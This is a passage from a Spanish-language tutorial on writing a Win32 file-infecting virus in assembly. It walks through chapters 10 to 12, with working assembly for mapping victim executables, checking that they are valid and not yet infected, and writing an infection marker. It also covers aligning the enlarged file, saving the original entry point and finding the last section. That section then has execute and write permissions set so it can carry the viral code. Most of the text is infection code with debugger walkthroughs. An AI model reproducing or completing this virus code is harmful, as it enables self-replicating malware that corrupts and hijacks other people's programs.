--------------------------------------------------------------------------------------------------- push 0 push 0 ; atributos del archivo: archive, normal, sistema, etc. push 3 ; 3 = OPEN_EXISTING o sea que si existe lo abrimos push 0 push 1 ; abrir en modo compartido (1 = FILE_SHARE_READ) push 0C0000000h ; modo de acceso (read-write) lea ebx, [ebp + offset win32_find_data.WFD_szFileName] ; nombre del archivo push ebx call [ebp + offset zCreateFile] cmp eax, -1 ; si hubo un error al abrir el archivo eax devuelve -1 je salirInfeccion mov dword ptr [ebp + offset handleCreate], eax ; guardamos el handle del archivo --------------------------------------------------------------------------------------------------- Esta rutina es sencilla, solo estamos llamando a la API CreateFileA y pasándole los parámetros que necesitamos, lo que hay que tener en cuenta es que luego de llamar a esta función hay que controlar si se produjo algún error (EAX = -1), en cuyo caso salimos de la rutina de infección, para lo cual definiremos al final de la rutina (antes del ret) una etiqueta que diga ‘salirInfeccion:’. Bien, lo próximo que vamos a hacer es crear el objeto de mapeo con la función CreateFileMappingA de la siguiente forma: --------------------------------------------------------------------------------------------------- push 0 ; creamos el objeto sin nombre push [ebp + offset win32_find_data.WFD_nFileSizeLow] ; tamaño del archivo push 0 push 04h ; 4h = PAGE_READWRITE: lectura y escritura push 0 push [ebp + offset handleCreate] ; utilizamos el handle devuelto por CreateFileA call [ebp + offset zCreateFileM] cmp eax, 0 ; si hubo un error eax devuelve 0 je cerrarArchivo ; lo cerramos y salimos mov [ebp + offset handleMem], eax ; sino, guardamos el handle en una variable --------------------------------------------------------------------------------------------------- Esta rutina tampoco requiere una explicación adicional, solo empujamos a la pila los parámetros que necesitamos y luego llamamos a la API CreateFileMappingA. Lo único que hay tener en cuenta es que esta función –a diferencia de la anterior- devuelve en el registro EAX un 0 si se produjo un error, y en caso de que eso suceda, debemos cerrar el archivo que alcanzamos a abrir con la función anterior antes de salir, o sea que tenemos que hacer un CloseHandle. Esto se haría con el siguiente código: --------------------------------------------------------------------------------------------------- cerrarArchivo: push [ebp + offset handleCreate] call [ebp + offset zCloseHandle] ---------------------------------------------------------------------------------------------------

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 84

El último paso es llamar a la función MapViewOfFile para poder cargar los datos en memoria, esto se realiza con el siguiente código: --------------------------------------------------------------------------------------------------- push [ebp + offset win32_find_data.WFD_nFileSizeLow] ; tamaño del archivo push 0 push 0 push 000F001Fh ; modo de acceso (acceso completo) push [ebp + offset handleMem] ; handle devuelto por CreateFileMappingA call [ebp + offset zMapViewOfFile] cmp eax, 0 ; si hubo un error eax devuelve 0 je cierraMapeo mov [ebp + offset inicioHostMem], eax ; salvo el inicio del archivo mapeado --------------------------------------------------------------------------------------------------- Esta función, al igual que la anterior, devuelve cero en caso de error. Si se llegara a producir un error tenemos que tener en cuenta de cerrar los handles devueltos por CreateFileMappingA y por CreateFileA en ese orden. Como ya lo dijimos en algún momento, no es “imprescindible” cerrar los handles utilizados, pero es bueno acostumbrarse a programar teniendo en cuenta ciertas “buenas prácticas” para que luego nuestro virus no produzca errores en los archivos infectados o cuelgues extraños. Para cerrar el handle abierto con CreateFileMappingA lo hacemos de forma similar al anterior, solo que tenemos que pasarle el valor devuelto por esta función, quedaría así: --------------------------------------------------------------------------------------------------- cierraMapeo: push [ebp + offset handleMem] call [ebp + offset zCloseHandle] --------------------------------------------------------------------------------------------------- Si no tuvimos ningún error, ya tenemos el archivo listo para infectar. La última función que llamamos nos devuelve en EAX la dirección de memoria a partir de la cual vamos a encontrar el archivo mapeado, recordemos que podemos hacerle los cambios que queramos, pero hasta que no cerremos los handles abiertos, estos cambios no se reflejarán en el disco. El próximo paso sería comenzar a trabajar con el archivo cargado en memoria, pero eso lo veremos en el próximo capítulo. Suponiendo que ya terminamos con la rutina de infección, nos quedaría cerrar el handle abierto por MapViewOfFile, eso lo hacemos con el siguiente código: --------------------------------------------------------------------------------------------------- desmapearArchivo: push [ebp + offset inicioHostMem] call [ebp + offset zUViewOfFile] ---------------------------------------------------------------------------------------------------

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 85

Si se les hizo un poco de lío con esto de llamar a las funciones de mapeo y luego ir cerrando handles, hagamos un pequeño esquema para que quede mas claro:

Ahora probemos todo esto que vimos en el Ollydbg, para ello compilemos nuestro virus y copiémoslo a una carpeta de prueba. En esa carpeta tenemos que poner nuestras víctimas para probar que funcione bien, lo que yo hago es generar varias copias con distintos nombres del primer programa que hicimos en ASM que solo mostraba un mensaje por pantalla, con lo cual me quedarían los siguientes archivos: virus.exe asm1.exe asm2.exe asm3.exe …… …… Ahora abramos nuestro espécimen con Ollybdg y comencemos a ejecutar el archivo con F8 para que no vaya entrando en cada subrutina, y pasemos directamente a la parte que nos interesa y que es cuando llama a la rutina ‘infectar’, y ahí entramos presionando F7:

Bien, acá vemos los call a las tres APIs que nombramos anteriormente, pongamos un BP luego de que se ejecuten todos:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 86

Ahora presionemos F9 para que se ejecute hasta el BP, y observemos el registro EAX:

Esa es la dirección de memoria a partir de la cual se encuentra cargado el primer archivo encontrado (en mi caso asm1.exe). Veamos un poco esto, presionemos con el botón derecho sobre el registro y seleccionemos ‘Follow in Dump’ para ver lo que hay en esa dirección en memoria:

Vemos en la pantalla de Dump los datos que se corresponden con el archivo de disco, para corroborar esto utilizaremos el aplicativo Hedit que vimos en el capítulo 4 (o cualquier editor hexadecimal) y comparamos los bytes obtenidos. Ollybdg (memoria):

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 87

Hedit (disco):

Vemos que son exactamente iguales. Ahora investiguemos un poco la dirección de memoria donde cargo los datos el SO (390000h), para ello en el Ollydbg presionemos ‘Show Memory window’:

Y busquemos dicha dirección:

Vemos que nos muestra los siguientes datos:

• Comienza en la dirección 390000h • Le asignó un tamaño de 1000h bytes (recordemos el tema de los alineamientos) • El tipo es ‘Map’, lo que significa que se ha asignado un sector de memoria en

tiempo de ejecución (enseguida veremos de que se trata esto) • Los permisos sobre esta memoria son de lectura y escritura (RW) • Y por último nos muestra la dirección física del archivo (en mi caso

C:\Laboratorio\asm1.exe) Para aclarar un poco esto de la asignación de memoria reiniciemos el programa, presionando Ctrl-F2, y antes de ejecutarlo vamos nuevamente a ver la memoria, y nos encontramos que no existe la dirección 390000h:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 88

Eso significa que cuando el SO la necesita la crea, luego la libera cuando cerramos los handles. Volvamos al código y ejecutemos hasta el BP que pusimos antes y continuemos la ejecución con F8 hasta que pasemos los tres cierres de handles (los tres CALL):

Si volvemos a memoria veremos que nuevamente desapareció la asignación de memoria que teníamos en la dirección 390000h:

Bueno, por ahora dejamos acá para ir despacio y que se vaya entendiendo todo. En el próximo capítulo ya empezaremos a trabajar con el archivo que tenemos en memoria, veremos si cumple algunos requisitos básicos para que lo podamos infectar y después de eso ya comenzamos el proceso de infección en sí.

Capítulo 11

Siguiendo con la rutina de infección – parte 2

Resumiendo un poco lo que hemos hecho hasta ahora, vemos que hemos buscado posibles archivos para infectar y hemos armado un bucle donde vamos a ir analizándolos uno a uno e infectándolos hasta llegar al límite que habíamos impuesto, el cual declaramos en la variable maxInfecciones. En el capítulo anterior tomamos un posible huésped y lo subimos a memoria para poder trabajar con él. Bien, ahora lo primero que vamos a hacer es analizar si cumple ciertos requerimientos que lo hagan “infectable”. Vamos a ver las comprobaciones mas básicas, pero les recomiendo que investiguen un poco ya que hay varias cosas mas a tener en cuenta para no infectar ciertos archivos. Básicamente comprobaremos que el archivo a infectar sea ejecutable, que tenga el formato PE que vimos anteriormente, además que tenga una opcional header, y obviamente que no esté ya infectado. Otras comprobaciones que no veremos pero que un virus medianamente respetable debería hacer son por ejemplo comprobar el tamaño del host para no infectar archivos muy pequeños o demasiado grandes (que harían muy lenta su subida a memoria y luego el volcado nuevamente a disco). Además sería muy bueno comprobar que el archivo no esté comprimido, ya que en ese caso si lo infectamos podríamos dejarlo inutilizable. Para el que no sepa que significa que un programa esté comprimido, básicamente les cuento que existen programas que comprimen y/o encriptan la información de los archivos para hacerlos mas pequeños en tamaño o simplemente para darles ciertos

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 89

recaudos de seguridad y evitar su crackeo. Esto tiene muchas variantes, y convendría identificar estos programas para no infectarlos. Bueno, empecemos a trabajar con el archivo que tenemos en memoria. Lo primero que vamos a comprobar es que comienze con la cadena “MZ” que identifica a todos los ejecutables que cumplen con el formato PE, esto lo logramos con la siguiente rutina: --------------------------------------------------------------------------------------------------- mov eax, [ebp + offset inicioHostMem] cmp word ptr [eax], "ZM" jne desmapearArchivo --------------------------------------------------------------------------------------------------- Esta rutina es muy simple, recordemos que en la variable inicioHostMem tenemos guardado el inicio de la posbile víctima en memoria, luego simplemente preguntamos si comienza con los famosos caracteres MZ. Recordemos que cuando pasamos los valores de memoria al registro EAX quedan invertidos, por eso comparamos con “ZM” y no con “MZ”. En el caso de que no cumpla esta condición saltamos al final de la sección, donde cerramos el programa para continuar examinando el próximo. Seguimos con la próxima comprobación: --------------------------------------------------------------------------------------------------- add eax, 03Ch ; nos movemos 3Ch lugares del inicio MZ mov ebx, [eax] ; obtengo la direccion add ebx, [ebp + offset inicioHostMem] ; le sumo la dirección de inicio del mapeo cmp word ptr [ebx], "EP" ; ahora lo comparamos con 'PE' jne desmapearArchivo --------------------------------------------------------------------------------------------------- Como vimos en el capítulo 4, si nos movemos 3Ch lugares desde el principio del ejecutable vamos a encontrar una dirección que nos indicará el comienzo del encabezado PE. Recordemos:

003C Dword e_lfanew Desplazamiento del nuevo encabezado EXE desde el inicio del archivo o 0 si es un archivo MZ EXE

Entonces obtenemos esa dirección y la guardamos en EAX, luego le sumamos el inicio del host en memoria, ya que es una RVA (Relative Virtual Address) como vimos también en el capítulo 4. Luego solo comparamos las dos primeras posiciones de memoria con la cadena “PE”. Seguimos con la tercera comprobación: --------------------------------------------------------------------------------------------------- mov [ebp + offset hostPE], ebx ; salvo la direccion de inicio de la cabecera PE add ebx, 14h

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 90

movzx eax, word ptr [ebx] ; obtengo el tamaño (ojo, es un word) cmp word ptr [ebx], 0 ; si el tamaño es cero, error je desmapearArchivo --------------------------------------------------------------------------------------------------- Antes que nada guardamos el inicio de la cabecera PE por que luego lo vamos a necesitar. Después buscamos 14h lugares mas allá del inicio de la cabecera PE, donde vamos a encontrar un Word que nos indica el tamaño de la cabecera opcional (Optional Header). Recordemos:

0014 Word SizeOfOptionalHeader Tamaño del encabezado opcional

Solo comprobamos que este valor sea mayor que cero. Ahora veremos si se trata de un archive ejecutable: --------------------------------------------------------------------------------------------------- mov ebx, [ebp + offset hostPE] add ebx, 16h ; nos desplazamos 16h del inicio del PE mov ax, word ptr [ebx] ; obtengo en ax la bandera (ojo, es un word) and ax, 0002h ; debemos hacer un and con 02h jz desmapearArchivo --------------------------------------------------------------------------------------------------- Ahora nos desplazamos 16h lugares para obtener el campo de características del archivo. Recordemos:

0016 Word Characteristics Características: 0 - Imagen del Programa 2 - EXE 200 - Dirección fijada 2000 - Librería

La comprobación se podría hacer de varias maneras, pero acá lo hacemos con un AND con el valor que queremos comprobar, en este caso 2h. Esto es para que vean que cada cosa se puede hacer de varias formas distintas. Por último comprobaremos si el archivo ya ha sido previamente infectado para no re-infectarlo. Yo elegí un método bastante común y se trata de utilizar el campo que se encuentra a 4Ch lugares del inicio de la cabecera PE que normalmente el SO no utiliza. Como se trata de un double Word aprovecho y le guardo el string “zero”. Aclaro que esta es solo una forma de “marcar ” un archivo infectado, pero se puden desarrollar muchas más. Veamos como sería el el código: --------------------------------------------------------------------------------------------------- mov ebx, [ebp + offset hostPE] cmp dword ptr [ebx + 04Ch], "zero" je desmapearArchivo --------------------------------------------------------------------------------------------------- Bien, si logramos pasar estos controles el archivo lo consideramos “infectable” y por fin pasamos a la infección en sí.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 91

El primer paso es hacernos lugar en el ejecutable para que luego podamos agregar el código de nuestro virus. Para esto lo que tenemos que hacer básicamente es desmapear el archivo y volverlo a mapear con el tamaño del virus + el host. Pero acá nos encontramos con una complicación, y se trata de los alineamientos del archivo, que tenemos que respetar si queremos que el mismo siga funcionando luego de la infección. Asi que veamos un poco primero de que se trata esto de los alineamientos. Para los archivo con formato PE se dan dos alineamientos. El alineamiento de las secciones en memoria, que viene determinado por el campo SectionAlignment, y alineamiento del archivo en disco, determinado por el campo FileAlignment. Los alineamientos se pueden considerar como valores a los que hay que redondear tanto el tamaño de las secciones en memoria como el tamaño de los archivos que se guardarán en disco. SectionAlignment Este valor representa el alineamiento de las secciones en memoria. Por ejemplo, si el tamaño original es de 300h bytes y el alineamiento de sección es de 1000h y la primera sección comienza en la dirección 401000h, entonces la próxima comenzará en la dirección 402000h, incluso si esta sección ocupa menos de ese tamaño. Algo muy importante a tener en cuenta es que el espacio restante, o sea desde que terminan los datos hasta el fin de la sección, que el SO muestra como parte de la misma no se corresponde con datos en el archivo que tenemos en el disco. El alineamiento de sección en la plataforma x86 no puede ser menor al tamaño de una página, generalmente 4096 bytes (1000h), y debe ser un múltiplo de este valor. FileAlignment Este valor representa el alineamiento del archivo en disco. Básicamente funciona igual que el valor anterior, pero referido al archivo en disco no a memoria. La dirección de los datos de cada sección en el disco deberán ser múltiplos de este valor. Un valor común es 200h (512b), y se cree que es para asegurar que comienza al inicio de un sector del disco. Viene a ser como un valor con el que habrá que alinear el tamaño del fichero para alinearlo con el inicio de los sectores en el disco físico. El espacio sobrante hasta el alineamiento se rellena con ceros (zeroPad ☺). Incluso existen ciertos virus que se denominan de tipo “cavity” que explotan esto y buscan en los ficheros a infectar un lugar vacío donde insertarse, con la ventaja de que no alterarían el tamaño del archivo y pasarían mas desapercibidos. Quedaría el tema del CRC pero ese es otro tema. Veamos esto con un ejemplo práctico para que quede mas claro. Abramos en Ollydbg el primer programa que hicimos (que mostraba un mensaje por pantalla) y vayamos a ‘Show Memory window’:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 92

Primero vamos a buscar el valor de estos campos para nuestro archivo, asi que nos vamos a la cabecera PE:

Hacemos doble click y buscamos estos valores, recordemos que ambos pertenecen a la cabecera opcional (optional header):

Vemos que valen 1000h y 200h respectivamente. Bien, primero veamos las secciones, para ello presionemos nuevamente ‘Show Memory window’ y volvemos a la pantalla anterior:

Aca vemos que la primer sección comienza en la dirección 401000h, la segunda en 402000h y la tercera en 403000h. O sea que están todas alineadas al valor 1000h. Ahora veamos que hizo el SO cuando cargo los datos en memoria con el espacio restante, para eso hacemos doble click sobre la primer sección (.text) y nos mostrará esta sección en memoria, primeramente los datos de nuestro programa y el resto relleno con ceros:

Ahora vamos a ubicar esta información, pero en el disco. Para ello debemos obtener un dato mas de las secciones, para ello volvemos a memoria y a la cabecera PE. Si bajamos un poco encontraremos las tablas de secciones que contienen información de las mismas:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 93

Ahora, lo que queremos saber es la dirección de estas secciones en el archivo de disco, esto lo indica el campo PointerToRawData, por ejemplo para nuestras tres secciones tendremos: .text: 400h .rdata: 600h .data: 800h Vemos que tanto estos valores como los que corresponden al SizeOfRawData están alineados (redondeados) al valor del FileAlignment (200h). Como curiosidad, les comento que el tamaño real que ocupan los datos de cada sección está dado por el campo VirtualSize, por lo que si restamos al SizeOfRawData el VirtualSize, nos dará el tamaño de un hueco llenos de cero dentro del archivo ejecutable, lo cual puede servir para aplicar la técnica que les comentaba anteriormente: “cavity”. Bueno, con estos datos vamos a buscar la relación entre memoria y archivo de disco. En el ollydbg presionemos sobre ‘Show Memory window’ y busquemos la primer sección (.text):

Hagamos doble click sobre la misma para que veamos los datos en memoria:

Ahora vayamos al Hedit y abramos el mismo archivo, y preionemos Ctrl-G para buscar una direeción de memoria, y coloquemos lo que habíamos encontrado anteriormente (400h):

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 94

Le damos OK y vemos los datos que nos muestra:

Vemos que coincide exactamente con lo que nos muestra el Ollydbg en memoria: 6A 40 68 25 30 40 00 68 ……… Esto lo podemos hacer con el resto de las secciones y con cualquier otro ejecutable que querramos probar, pero tengamos en cuenta que no siempre van a coincidir los datos en memoria con el disco, ya que por ejemplo la sección .rdata que contiene las APIs importadas por el programa son pisadas por el SO en el momento de cargarlo en memoria. Se que me extendí demasiado, incluso con temas que no hacen extrictamente al tema que estamos viendo, pero aprovecho para comentarles ciertas cosas que considero importante conocer si realmente queremos entender como funcionan los programas en Windows y los virus en particular. Bien, retornemos a lo que nos interesa, que es el tema de los alineamientos. Dijimos que tenemos que desmapear el archivo de memoria y volver a cargarlo con el tamaño original mas el tamaño de nuestro virus, pero teniendo en cuenta el alineamiento. Entonces lo que vamos a hacer primeramente es obtener estos campos (FileAlignment y SectionAlignment), lo cual lo hacemos con el siguiente código: --------------------------------------------------------------------------------------------------- mov ebx, [ebp + offset hostPE] ; direccion de la cabecera PE del host add ebx, 03Ch ; RVA del FileAlignment mov edx, [ebx] ; edx = alineamiento del archivo en disco mov [ebp + offset AlineamArchivo], edx ; lo guardamos mov ebx, [ebp + offset hostPE] ; direccion de la cabecera PE del host add ebx, 038h ; RVA del SectionAlignment mov edx, [ebx] ; edx = alineamiento del archivo en disco mov [ebp + offset AlineamSeccion], edx ; lo guardamos --------------------------------------------------------------------------------------------------- Este código es muy sencillo, los valores de los alineamientos los obtendremos en dos variables que deberemos definir en nuestra sección de datos:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 95

--------------------------------------------------------------------------------------------------- AlineamArchivo dd 0 ; alinemiento del programa en disco AlineamSeccion dd 0 ; alinemiento de la sección en memoria --------------------------------------------------------------------------------------------------- El próximo paso es desmapear el archivo que tenemos en memoria, con las APIs UnmapViewOfFile y CloseHandle: --------------------------------------------------------------------------------------------------- push [ebp + offset inicioHostMem] call [ebp + offset zUViewOfFile] push [ebp + offset handleMem] call [ebp + offset zCloseHandle] --------------------------------------------------------------------------------------------------- Ahora tenemos que calcular el nuevo tamaño alineado, pero antes de pasar al código pensemos como lo haríamos con números en papel para que luego sea mas fácil de entender la rutina que veremos. Supongamos que tenemos que alinear un código que tiene un tamaño de "35" con un valor de alineamiento de "10", gráficamente sería algo así:

Lo primero que tendríamos que hacer es dividir el tamaño del código por el alineamiento: X = 35/10 = 3 (resto = 5) Si el resto de la división es mayor que cero le sumamos uno a X por que significaría que nos sobra un pedazo de código y debemos ocupar otro sector para el mismo: resto = 5, entonces: X = X + 1 = 4 Luego, multiplicamos el valor obtenido por el alineamiento: X * 10 = 40 Asi obtenemos el valor "40" que es lo que ocuparía el código alineado con el valor "10". Gráficamente sería:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 96

Espero se haya entendido, ahora pasemos al código: --------------------------------------------------------------------------------------------------- mov ebx, [ebp + offset AlineamArchivo] mov eax, [ebp + offset longVirusHost] ; tamaño del archivo + el virus xor edx, edx ; edx = 0 para realizar la división div ebx ; dividimos por el alineamiento cmp edx, 0 ; en edx queda el resto de la división je no_incrementa inc eax ; si el resto es distinto de 0 le suma 1 no_incrementa: mov edx, [ebp + offset AlineamArchivo] ; recupero el alineamiento mul edx ; multiplico por el alineamiento mov ebx, eax ; guardamos en edx el tamaño alineado --------------------------------------------------------------------------------------------------- Está bien comentado, asi que se los dejo para que lo prueben ustedes. El próximo paso sería reabrir el archivo con este nuevo tamaño.

Capítulo 12

Siguiendo con la rutina de infección – parte 3

En el capítulo anterior habíamos calculado el tamaño del host más el virus, luego lo alineamos con el valor de alineamiento del host, que obtuvimos de la cabecera PE y por último este valor lo habíamos guardado en el registro EBX. El próximo paso a seguir sería reabrir el archivo con este nuevo tamaño, para ello utilizamos las APIs que habíamos empleado anteriormente: CreateFileMappingA y MapViewOfFile. No hace falta emplear nuevamente CreateFileA, ya que no cerramos el handle que teníamos abierto anteriormente. La rutina es completamente igual a la que utilizamos antes cuando abríamos por primera vez el archivo, solo cambia el tamaño, por lo que convendría meter todos esto en una subrutina y llamarla pasándole como parámetro el tamaño a mapear, pero eso se los dejo para que lo optimicen ustedes. Una aclaración, si encaran la confección de esta rutina les comento que la forma “ideal” de pasarle parámetros a dicha función es a través de la pila, empujando primero los valores deseados (push), y luego recuperándolos de la misma (pop). También hay que tener en cuenta balancear la pila antes de regresar de la función, o sea dejar el registro ESP apuntando al valor que tenía antes de llamar esta función. De todas formas si solo utilizamos push-pop, sola quedará balanceada. Bien, continuemos. Como la rutina es igual a lo que vimos antes no vamos a comentarla, solo la veremos:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 97

--------------------------------------------------------------------------------------------------- push 0 ; creamos el objeto sin nombre push ebx ; tamaño del archivo + el virus (alineado) push 0 push 04h ; 4h = PAGE_READWRITE: lectura y escritura push 0 push [ebp + offset handleCreate] ; handle devuelto por CreateFileA call [ebp + offset zCreateFileM] cmp eax, 0 ; si hubo un error eax devuelve 0 je cerrarArchivo mov [ebp + offset handleMem], eax ; guardamos el handle push ebx ; tamaño del archivo + el virus (alineado) push 0 push 0 push 000F001Fh ; access mode (acceso completo) push [ebp + offset handleMem] ; handle devuelto por CreateFileMappingA call [ebp + offset zMapViewOfFile] cmp eax, 0 ; si hubo un error eax devuelve 0 je cierraMapeo mov [ebp + offset inicioHostMem], eax ; salvo el inicio del archivo mapeado --------------------------------------------------------------------------------------------------- Espero que se vaya entendiendo todo lo que vamos haciendo, el próximo paso es marcar el archivo que vamos a infectar de alguna manera para no producir re-infecciones sobre el mismo host. Como les comenté en su momento, hay varias formas de realizar esto, yo elegí dejar una marca en un campo de la cabecera PE que no es muy utilizado, más específicamente en HeaderPE + 4Ch, y como es un dword aprovecho y lo marco con el string “zero”. Recordemos que en la variable hostPE teníamos el inicio de la cabecera PE del archivo mapeado en memoria, así que para marcar el archivo simplemente hacemos: --------------------------------------------------------------------------------------------------- mov ebx, [ebp + offset hostPE] mov dword ptr [ebx + 04Ch], "zero" --------------------------------------------------------------------------------------------------- También incrementaremos el contador de infecciones, para poder controlar que no infectemos más del tope de archivos que habíamos impuesto (maxInfecciones): --------------------------------------------------------------------------------------------------- inc [ebp + offset archivosInfec] --------------------------------------------------------------------------------------------------- Recordemos cuando veíamos en el capítulo 5 las características que iba a tener nuestro virus decíamos que sería de postpending, o sea que se va a ubicar al final del archivo infectado (mas exactamente al final de la última sección). Ahora, para lograr esto primero debemos encontrar la última sección del host que estamos infectando. Para encontrar la última sección utilizaremos la información contenida en la tabla de secciones (capítulo 4).

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 98

Recordemos que esta tabla se encuentra a continuación de la cabecera PE opcional y que tiene varias entradas (consecutivas), tantas como secciones tenga el programa. Además recordemos que dentro de la cabecera PE teníamos un campo que indicaba la cantidad de secciones que tiene el programa:

0006 Word NumberOfSections Número de secciones en la tabla de secciones

Otro dato a tener en cuenta es que cada “entrada” de esta tabla ocupa 28h bytes, o sea que debemos ir saltando cada 28h lugares para recorrer todas estas entradas de la tabla. Acá tenemos que hacer una aclaración, en la gran mayoría de los programas la última entrada de esta “tabla de secciones” coincide con la última sección del programa, pero como precaución iremos comprobando la ubicación de cada entrada para saber que realmente se trate de la última sección del archivo. Esto lo haremos mirando el campo PointerToRawData de cada sección, el cual apunta al inicio de la misma en disco, o sea que la que tenga este valor más grande, será la última sección del host. Primero lo vamos a hacer manualmente para que se entienda bien, luego pasaremos al código. Abrimos el Ollydbg y cargamos el programa que mostraba un mensaje por pantalla (asm01.exe). Vamos a consultar la cabecera PE, pero no lo vamos a hacer desde ‘Show Memory window’ (M) como hicimos antes, sino que vamos a ver una forma distinta de hacerlo, de paso le vamos tomando un poco mas la mano al Ollydbg. Vamos a la ventana de Dump, presionamos el botón derecho del mouse y seleccionamos “Go to -> Expression”, también podríamos haber presionado Ctrl+G:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 99

Aparece una ventana donde nos pide la dirección que queremos ver, colocamos 400000 que es la dirección de memoria a partir de la cual se encuentra cargado nuestro programa en memoria:

Y presionamos OK. Ahora quedaremos parados sobre la cabecera PE, pero el formato que nos muestra es muy complicado de seguir así que presionamos nuevamente el botón derecho del mouse y seleccionamos “Special -> PE Header”:

Ahora si, veremos el formato de la cabecera PE mas claramente. Busquemos primero el campo NumberOfSections para ver la cantidad de secciones que tenemos en el archivo.

Vemos que tenemos tres secciones, ahora tenemos que encontrar el final de la cabecera opcional. Recordemos que su tamaño no es fijo, o sea que debemos buscar dentro de la PE header el valor de SizeOfOptionalHeader:

Vemos que vale E0h, y que la cabecera opcional comienza en C8 con el valor ‘PE32’:

Entonces la tabla de secciones la encontraremos al final de la cabecera opcional, o sea que tenemos: inicio de la cabecera opcional + tamaño de esta cabecera = inicio tabla se de secciones C8h + E0h = 1A8h

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 100

Entonces a partir de 1A8h encontraremos la “tabla de secciones”:

Vemos que cada 28h lugares tenemos el inicio de cada entrada correspondiente a cada sección del programa: .text, .rdata y .data. Comprobamos el valor del campo PointerToRawData de cada una y tenemos: .text 400 .rdata 600 .data 800 O sea que la última sección es .data, que comienza en la dirección 800h. En este caso se da el hecho de que la última entrada de la tabla corresponde a la última sección del archivo, pero tengamos en cuenta que esto no siempre será así. Ahora busquemos este valor en el archivo de disco. Utilizaremos el programa Hedit, abrimos el mismo programa que estábamos viendo (asm01.exe) con este aplicativo y ubicamos la dirección de la última sección, para esto presionamos Ctrl+G y le ingresamos el valor que encontramos en Ollydbg (800h):

Y vemos que aquí comienza dicha sección, que corresponde a los datos del programa:

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 101

Bien, nuestro virus se acomodará al final de dicha sección. Ahora vamos a hacer esto mismo pero en ASM, la rutina es la siguiente: --------------------------------------------------------------------------------------------------- mov eax, [ebp + offset inicioHostMem] ; inicio del host mapeado en memoria mov esi, [eax + 3Ch] ; en 3Ch tenemos la dirección del PE add esi, eax ; le sumamos la base ya que es una RVA movzx ebx, word ptr [esi + 14h] ; bx = tamaño del Optional Header movzx ecx, word ptr [esi + 6h] ; ecx = PE + 6h (cantidad de secciones) mov edx, [esi + 28h] ; PE + 28 = dirección del entry point original mov [ebp + entryPoinOrig], edx ; lo guardamos add esi, ebx ; le sumamos el tamaño de la PE opcional add esi, 18h ; le sumo 18h (el tamaño del PE Header) sub esi, 28h ; 28h bytes (tamaño de cada entrada) xor eax, eax ; eax lo uso para almacenar el mayor valor xor ebx, ebx ; ebx va a apuntar al inicio de la sección mayor proximaSeccion: add esi, 28h ; esi = puntero a cada entrada de la tabla movzx edi, word ptr [esi + 14h] ; en el offset 14h tengo el PointerToRawData cmp edi, eax ; es mayor que el almacenado en eax ? jl noEsMayor mov eax, edi ; si es mayor, guardo el valor mov ebx, esi ; y el puntero a la sección noEsMayor: loop proximaSeccion ; decrementa ecx y si es mayor que cero vuelve --------------------------------------------------------------------------------------------------- Veremos rápidamente lo que hace esta rutina. Primero obtenemos la dirección del inicio de la cabecera PE, le sumamos el inicio del host en memoria ya que es una RVA (Relative Virtual Address). Luego obtenemos el tamaño de la cabecera opcional (ebx), la cantidad de secciones (ecx) y el inicio de la primera sección en memoria (edx). Aprovechamos también y obtenemos la dirección del Entry Point original y lo guardamos, lo necesitaremos luego cuando terminemos de infectar al archivo. Recordemos que el Entry Point es la dirección de la primera instrucción del programa que será ejecutada por el SO. Después hacemos un ciclo que vaya recorriendo las secciones y compruebe los PointerToRawData de cada una para encontrar el mayor. Recordemos que vamos a tener que declarar una variable en la sección de datos de nuestro virus para almacenar el OEP (Original Entry Point):

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 102

--------------------------------------------------------------------------------------------------- entryPoinOrig dd 0 ; entry point original --------------------------------------------------------------------------------------------------- Ahora compilemos el programa y ejecutémoslo con Ollydbg dentro un directorio donde tengamos también varias copias de nuestra falsa víctima (programa que muestra un mensaje por pantalla). Pasamos con F8 los primeros CALLs y nos paramos sobre el CALL que apunta a nuestra rutina de infección:

Entramos al mismo con F7 y vamos bajando en el código, y encontraremos nuestra rutina que recorre la tabla de secciones:

Dejemos que se ejecute completamente y veamos que valor obtiene en los registros EAX y EBX.

Vemos que: EAX = 800h EBX = 3901F8h EAX corresponde al inicio de la sección en disco (0800h) que coincide con el valor que obtuvimos manualmente, y EBX apunta al inicio de la entrada en la tabla de secciones para la misma (.data). Utilizaremos este valor para cambiar las características de la sección para darle permisos de lectura, escritura y ejecución a la misma, ya que va a contener el código de nuestro virus y el mismo debe ser ejecutable.

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 103

Para esto simplemente debemos cambiar el valor del campo Characteristics de esta entrada:

0024 Dword Characteristics Características de la sección

Para darle estos permisos a la sección debemos sumar las características que deseamos:

00000020 Contiene código ejecutable

20000000 Se puede ejecutar

40000000 Se puede leer

80000000 Se puede escribir en la sección

